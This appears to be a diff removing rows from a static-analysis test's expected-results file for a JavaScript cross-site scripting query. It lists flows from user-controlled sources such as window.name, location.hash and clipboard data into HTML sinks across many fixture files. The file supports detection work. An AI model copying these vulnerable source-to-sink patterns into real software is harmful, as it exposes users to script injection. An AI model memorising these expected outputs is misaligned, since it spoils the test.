-| classnames.js:17:32:17:79 | `<span  ... <span>` | classnames.js:17:53:17:63 | window.name | classnames.js:17:32:17:79 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:17:53:17:63 | window.name | user-provided value |
-| clipboard.ts:15:25:15:28 | html | clipboard.ts:8:18:8:51 | clipboa ... /html') | clipboard.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:8:18:8:51 | clipboa ... /html') | user-provided value |
-| clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:24:23:24:58 | e.clipb ... /html') | user-provided value |
-| clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:29:19:29:54 | e.clipb ... /html') | user-provided value |
-| clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:33:19:33:68 | e.origi ... /html') | user-provided value |
-| clipboard.ts:50:29:50:32 | html | clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:43:22:43:55 | clipboa ... /html') | user-provided value |
-| clipboard.ts:73:29:73:39 | droppedHtml | clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | clipboard.ts:71:27:71:62 | e.clipb ... /html') | user-provided value |
-| clipboard.ts:99:23:99:26 | html | clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:99:23:99:26 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:98:22:98:54 | dataTra ... /html') | user-provided value |
-| custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | Cross-site scripting vulnerability due to $@. | custom-element.js:5:26:5:36 | window.name | user-provided value |
-| d3.js:11:15:11:24 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
-| d3.js:12:20:12:29 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:12:20:12:29 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
-| d3.js:14:20:14:29 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:14:20:14:29 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
-| d3.js:21:15:21:24 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:21:15:21:24 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
-| dates.js:11:31:11:70 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:11:31:11:70 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:12:31:12:73 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:12:31:12:73 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:13:31:13:72 | `Time i ... time)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:13:31:13:72 | `Time i ... time)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:16:31:16:69 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:16:31:16:69 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:18:31:18:66 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:18:31:18:66 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:21:31:21:68 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:21:31:21:68 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
-| dates.js:37:31:37:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:37:31:37:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
-| dates.js:38:31:38:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:38:31:38:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
-| dates.js:39:31:39:86 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:39:31:39:86 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
-| dates.js:40:31:40:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:40:31:40:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
-| dates.js:48:31:48:90 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:48:31:48:90 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
-| dates.js:49:31:49:89 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:49:31:49:89 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
-| dates.js:50:31:50:104 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:50:31:50:104 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
-| dates.js:57:31:57:101 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:57:31:57:101 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
-| dates.js:59:31:59:87 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:59:31:59:87 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
-| dates.js:61:31:61:88 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:61:31:61:88 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
-| dragAndDrop.ts:15:25:15:28 | html | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | user-provided value |
-| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | user-provided value |
-| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | user-provided value |
-| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | user-provided value |
-| dragAndDrop.ts:50:29:50:32 | html | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | user-provided value |
-| dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value |
-| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value |
-| express.js:7:15:7:33 | req.param("wobble") | express.js:7:15:7:33 | req.param("wobble") | express.js:7:15:7:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:7:15:7:33 | req.param("wobble") | user-provided value |
-| jquery.js:7:5:7:34 | "<div i ... + "\\">" | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "<div i ... + "\\">" | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
-| jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
-| jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value |
-| jquery.js:14:19:14:58 | decodeU ... n.hash) | jquery.js:14:38:14:57 | window.location.hash | jquery.js:14:19:14:58 | decodeU ... n.hash) | Cross-site scripting vulnerability due to $@. | jquery.js:14:38:14:57 | window.location.hash | user-provided value |
-| jquery.js:15:19:15:60 | decodeU ... search) | jquery.js:15:38:15:59 | window. ... .search | jquery.js:15:19:15:60 | decodeU ... search) | Cross-site scripting vulnerability due to $@. | jquery.js:15:38:15:59 | window. ... .search | user-provided value |
-| jquery.js:16:19:16:64 | decodeU ... ring()) | jquery.js:16:38:16:52 | window.location | jquery.js:16:19:16:64 | decodeU ... ring()) | Cross-site scripting vulnerability due to $@. | jquery.js:16:38:16:52 | window.location | user-provided value |
-| jquery.js:21:5:21:21 | hash.substring(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:21:5:21:21 | hash.substring(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:22:5:22:25 | hash.su ... (1, 10) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:22:5:22:25 | hash.su ... (1, 10) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:23:5:23:18 | hash.substr(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:23:5:23:18 | hash.substr(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:24:5:24:17 | hash.slice(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:24:5:24:17 | hash.slice(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:27:5:27:25 | hash.re ... #', '') | jquery.js:18:14:18:33 | window.location.hash | jquery.js:27:5:27:25 | hash.re ... #', '') | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:28:5:28:43 | window. ... ?', '') | jquery.js:28:5:28:26 | window. ... .search | jquery.js:28:5:28:43 | window. ... ?', '') | Cross-site scripting vulnerability due to $@. | jquery.js:28:5:28:26 | window. ... .search | user-provided value |
-| jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | jquery.js:18:14:18:33 | window.location.hash | jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
-| jquery.js:36:25:36:31 | tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:36:25:36:31 | tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
-| jquery.js:37:25:37:37 | () => tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:37:25:37:37 | () => tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
-| json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | json-stringify.jsx:5:18:5:36 | req.param("locale") | json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | Cross-site scripting vulnerability due to $@. | json-stringify.jsx:5:18:5:36 | req.param("locale") | user-provided value |
-| json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | json-stringify.jsx:5:18:5:36 | req.param("locale") | json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | Cross-site scripting vulnerability due to $@. | json-stringify.jsx:5:18:5:36 | req.param("locale") | user-provided value |
-| jwt-server.js:11:19:11:29 | decoded.foo | jwt-server.js:7:17:7:35 | req.param("wobble") | jwt-server.js:11:19:11:29 | decoded.foo | Cross-site scripting vulnerability due to $@. | jwt-server.js:7:17:7:35 | req.param("wobble") | user-provided value |
-| nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | nodemailer.js:13:50:13:66 | req.query.message | nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | HTML injection vulnerability due to $@. | nodemailer.js:13:50:13:66 | req.query.message | user-provided value |
-| optionalSanitizer.js:6:18:6:23 | target | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:6:18:6:23 | target | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:9:18:9:24 | tainted | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:9:18:9:24 | tainted | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:17:20:17:20 | x | optionalSanitizer.js:2:16:2:39 | documen ... .search | optionalSanitizer.js:17:20:17:20 | x | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:2:16:2:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:32:18:32:25 | tainted2 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:32:18:32:25 | tainted2 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:36:18:36:25 | tainted2 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:36:18:36:25 | tainted2 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:39:18:39:25 | tainted3 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:39:18:39:25 | tainted3 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:43:18:43:25 | tainted3 | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:43:18:43:25 | tainted3 | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
-| optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | optionalSanitizer.js:26:16:26:39 | documen ... .search | optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | Cross-site scripting vulnerability due to $@. | optionalSanitizer.js:26:16:26:39 | documen ... .search | user-provided value |
-| pages/[id].jsx:10:44:10:45 | id | pages/[id].jsx:5:18:5:29 | router.query | pages/[id].jsx:10:44:10:45 | id | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:5:18:5:29 | router.query | user-provided value |
-| pages/[id].jsx:13:44:13:52 | params.id | pages/[id].jsx:25:11:25:24 | context.params | pages/[id].jsx:13:44:13:52 | params.id | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:25:11:25:24 | context.params | user-provided value |
-| pages/[id].jsx:16:44:16:51 | params.q | pages/[id].jsx:26:10:26:22 | context.query | pages/[id].jsx:16:44:16:51 | params.q | Cross-site scripting vulnerability due to $@. | pages/[id].jsx:26:10:26:22 | context.query | user-provided value |
-| react-native.js:8:18:8:24 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:18:8:24 | tainted | Cross-site scripting vulnerability due to $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
-| react-native.js:9:27:9:33 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:9:27:9:33 | tainted | Cross-site scripting vulnerability due to $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
-| react-use-context.js:10:22:10:32 | window.name | react-use-context.js:10:22:10:32 | window.name | react-use-context.js:10:22:10:32 | window.name | Cross-site scripting vulnerability due to $@. | react-use-context.js:10:22:10:32 | window.name | user-provided value |
-| react-use-context.js:16:26:16:36 | window.name | react-use-context.js:16:26:16:36 | window.name | react-use-context.js:16:26:16:36 | window.name | Cross-site scripting vulnerability due to $@. | react-use-context.js:16:26:16:36 | window.name | user-provided value |
-| react-use-router.js:8:21:8:39 | router.query.foobar | react-use-router.js:8:21:8:32 | router.query | react-use-router.js:8:21:8:39 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:8:21:8:32 | router.query | user-provided value |
-| react-use-router.js:11:24:11:42 | router.query.foobar | react-use-router.js:11:24:11:35 | router.query | react-use-router.js:11:24:11:42 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:11:24:11:35 | router.query | user-provided value |
-| react-use-router.js:23:43:23:61 | router.query.foobar | react-use-router.js:23:43:23:54 | router.query | react-use-router.js:23:43:23:61 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:23:43:23:54 | router.query | user-provided value |
-| react-use-router.js:33:21:33:39 | router.query.foobar | react-use-router.js:33:21:33:32 | router.query | react-use-router.js:33:21:33:39 | router.query.foobar | Cross-site scripting vulnerability due to $@. | react-use-router.js:33:21:33:32 | router.query | user-provided value |
-| react-use-state.js:5:51:5:55 | state | react-use-state.js:4:38:4:48 | window.name | react-use-state.js:5:51:5:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:4:38:4:48 | window.name | user-provided value |
-| react-use-state.js:11:51:11:55 | state | react-use-state.js:10:14:10:24 | window.name | react-use-state.js:11:51:11:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:10:14:10:24 | window.name | user-provided value |
-| react-use-state.js:17:51:17:55 | state | react-use-state.js:16:20:16:30 | window.name | react-use-state.js:17:51:17:55 | state | Cross-site scripting vulnerability due to $@. | react-use-state.js:16:20:16:30 | window.name | user-provided value |
-| react-use-state.js:23:35:23:38 | prev | react-use-state.js:25:20:25:30 | window.name | react-use-state.js:23:35:23:38 | prev | Cross-site scripting vulnerability due to $@. | react-use-state.js:25:20:25:30 | window.name | user-provided value |
-| sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| sanitiser.js:48:19:48:46 | tainted ... /g, '') | sanitiser.js:16:17:16:27 | window.name | sanitiser.js:48:19:48:46 | tainted ... /g, '') | Cross-site scripting vulnerability due to $@. | sanitiser.js:16:17:16:27 | window.name | user-provided value |
-| stored-xss.js:5:20:5:52 | session ... ssion') | stored-xss.js:2:39:2:62 | documen ... .search | stored-xss.js:5:20:5:52 | session ... ssion') | Cross-site scripting vulnerability due to $@. | stored-xss.js:2:39:2:62 | documen ... .search | user-provided value |
-| stored-xss.js:8:20:8:48 | localSt ... local') | stored-xss.js:3:35:3:58 | documen ... .search | stored-xss.js:8:20:8:48 | localSt ... local') | Cross-site scripting vulnerability due to $@. | stored-xss.js:3:35:3:58 | documen ... .search | user-provided value |
-| stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | stored-xss.js:3:35:3:58 | documen ... .search | stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | Cross-site scripting vulnerability due to $@. | stored-xss.js:3:35:3:58 | documen ... .search | user-provided value |
-| string-manipulations.js:3:16:3:32 | document.location | string-manipulations.js:3:16:3:32 | document.location | string-manipulations.js:3:16:3:32 | document.location | Cross-site scripting vulnerability due to $@. | string-manipulations.js:3:16:3:32 | document.location | user-provided value |
-| string-manipulations.js:4:16:4:37 | documen ... on.href | string-manipulations.js:4:16:4:37 | documen ... on.href | string-manipulations.js:4:16:4:37 | documen ... on.href | Cross-site scripting vulnerability due to $@. | string-manipulations.js:4:16:4:37 | documen ... on.href | user-provided value |
-| string-manipulations.js:5:16:5:47 | documen ... lueOf() | string-manipulations.js:5:16:5:37 | documen ... on.href | string-manipulations.js:5:16:5:47 | documen ... lueOf() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:5:16:5:37 | documen ... on.href | user-provided value |
-| string-manipulations.js:6:16:6:43 | documen ... f.sup() | string-manipulations.js:6:16:6:37 | documen ... on.href | string-manipulations.js:6:16:6:43 | documen ... f.sup() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:6:16:6:37 | documen ... on.href | user-provided value |
-| string-manipulations.js:7:16:7:51 | documen ... rCase() | string-manipulations.js:7:16:7:37 | documen ... on.href | string-manipulations.js:7:16:7:51 | documen ... rCase() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:7:16:7:37 | documen ... on.href | user-provided value |
-| string-manipulations.js:8:16:8:48 | documen ... mLeft() | string-manipulations.js:8:16:8:37 | documen ... on.href | string-manipulations.js:8:16:8:48 | documen ... mLeft() | Cross-site scripting vulnerability due to $@. | string-manipulations.js:8:16:8:37 | documen ... on.href | user-provided value |
-| string-manipulations.js:9:16:9:58 | String. ... n.href) | string-manipulations.js:9:36:9:57 | documen ... on.href | string-manipulations.js:9:16:9:58 | String. ... n.href) | Cross-site scripting vulnerability due to $@. | string-manipulations.js:9:36:9:57 | documen ... on.href | user-provided value |
-| string-manipulations.js:10:16:10:45 | String( ... n.href) | string-manipulations.js:10:23:10:44 | documen ... on.href | string-manipulations.js:10:16:10:45 | String( ... n.href) | Cross-site scripting vulnerability due to $@. | string-manipulations.js:10:23:10:44 | documen ... on.href | user-provided value |
-| tainted-url-suffix-arguments.js:6:22:6:22 | y | tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | tainted-url-suffix-arguments.js:6:22:6:22 | y | Cross-site scripting vulnerability due to $@. | tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | user-provided value |
-| tooltip.jsx:10:25:10:30 | source | tooltip.jsx:6:20:6:30 | window.name | tooltip.jsx:10:25:10:30 | source | Cross-site scripting vulnerability due to $@. | tooltip.jsx:6:20:6:30 | window.name | user-provided value |
-| tooltip.jsx:11:25:11:30 | source | tooltip.jsx:6:20:6:30 | window.name | tooltip.jsx:11:25:11:30 | source | Cross-site scripting vulnerability due to $@. | tooltip.jsx:6:20:6:30 | window.name | user-provided value |
-| tooltip.jsx:18:51:18:59 | provide() | tooltip.jsx:22:20:22:30 | window.name | tooltip.jsx:18:51:18:59 | provide() | Cross-site scripting vulnerability due to $@. | tooltip.jsx:22:20:22:30 | window.name | user-provided value |
-| translate.js:9:27:9:50 | searchP ... 'term') | translate.js:6:16:6:39 | documen ... .search | translate.js:9:27:9:50 | searchP ... 'term') | Cross-site scripting vulnerability due to $@. | translate.js:6:16:6:39 | documen ... .search | user-provided value |
-| trusted-types-lib.js:2:12:2:12 | x | trusted-types.js:13:20:13:30 | window.name | trusted-types-lib.js:2:12:2:12 | x | Cross-site scripting vulnerability due to $@. | trusted-types.js:13:20:13:30 | window.name | user-provided value |
-| trusted-types.js:3:67:3:67 | x | trusted-types.js:4:20:4:30 | window.name | trusted-types.js:3:67:3:67 | x | Cross-site scripting vulnerability due to $@. | trusted-types.js:4:20:4:30 | window.name | user-provided value |
-| tst3.js:4:25:4:32 | data.src | tst3.js:2:42:2:63 | window. ... .search | tst3.js:4:25:4:32 | data.src | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
-| tst3.js:5:26:5:31 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:5:26:5:31 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
-| tst3.js:7:32:7:37 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:7:32:7:37 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
-| tst3.js:9:37:9:42 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:9:37:9:42 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
-| tst3.js:10:38:10:43 | data.p | tst3.js:2:42:2:63 | window. ... .search | tst3.js:10:38:10:43 | data.p | Cross-site scripting vulnerability due to $@. | tst3.js:2:42:2:63 | window. ... .search | user-provided value |
-| tst.js:5:18:5:23 | target | tst.js:2:16:2:39 | documen ... .search | tst.js:5:18:5:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
-| tst.js:8:18:8:126 | "<OPTIO ... PTION>" | tst.js:8:37:8:58 | documen ... on.href | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | Cross-site scripting vulnerability due to $@. | tst.js:8:37:8:58 | documen ... on.href | user-provided value |
-| tst.js:12:5:12:42 | '<div s ...  'px">' | tst.js:2:16:2:39 | documen ... .search | tst.js:12:5:12:42 | '<div s ...  'px">' | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
-| tst.js:18:18:18:35 | params.get('name') | tst.js:17:25:17:41 | document.location | tst.js:18:18:18:35 | params.get('name') | Cross-site scripting vulnerability due to $@. | tst.js:17:25:17:41 | document.location | user-provided value |
-| tst.js:21:18:21:41 | searchP ... 'name') | tst.js:2:16:2:39 | documen ... .search | tst.js:21:18:21:41 | searchP ... 'name') | Cross-site scripting vulnerability due to $@. | tst.js:2:16:2:39 | documen ... .search | user-provided value |
-| tst.js:26:18:26:23 | target | tst.js:28:5:28:28 | documen ... .search | tst.js:26:18:26:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:28:5:28:28 | documen ... .search | user-provided value |
-| tst.js:34:16:34:20 | bar() | tst.js:31:10:31:33 | documen ... .search | tst.js:34:16:34:20 | bar() | Cross-site scripting vulnerability due to $@. | tst.js:31:10:31:33 | documen ... .search | user-provided value |
-| tst.js:40:16:40:44 | baz(doc ... search) | tst.js:40:20:40:43 | documen ... .search | tst.js:40:16:40:44 | baz(doc ... search) | Cross-site scripting vulnerability due to $@. | tst.js:40:20:40:43 | documen ... .search | user-provided value |
-| tst.js:46:16:46:45 | wrap(do ... search) | tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | wrap(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:46:21:46:44 | documen ... .search | user-provided value |
-| tst.js:54:16:54:45 | chop(do ... search) | tst.js:54:21:54:44 | documen ... .search | tst.js:54:16:54:45 | chop(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:54:21:54:44 | documen ... .search | user-provided value |
-| tst.js:56:16:56:45 | chop(do ... search) | tst.js:56:21:56:44 | documen ... .search | tst.js:56:16:56:45 | chop(do ... search) | Cross-site scripting vulnerability due to $@. | tst.js:56:21:56:44 | documen ... .search | user-provided value |
-| tst.js:58:16:58:32 | wrap(chop(bar())) | tst.js:31:10:31:33 | documen ... .search | tst.js:58:16:58:32 | wrap(chop(bar())) | Cross-site scripting vulnerability due to $@. | tst.js:31:10:31:33 | documen ... .search | user-provided value |
-| tst.js:62:18:62:18 | s | tst.js:64:25:64:48 | documen ... .search | tst.js:62:18:62:18 | s | Cross-site scripting vulnerability due to $@. | tst.js:64:25:64:48 | documen ... .search | user-provided value |
-| tst.js:62:18:62:18 | s | tst.js:65:25:65:48 | documen ... .search | tst.js:62:18:62:18 | s | Cross-site scripting vulnerability due to $@. | tst.js:65:25:65:48 | documen ... .search | user-provided value |
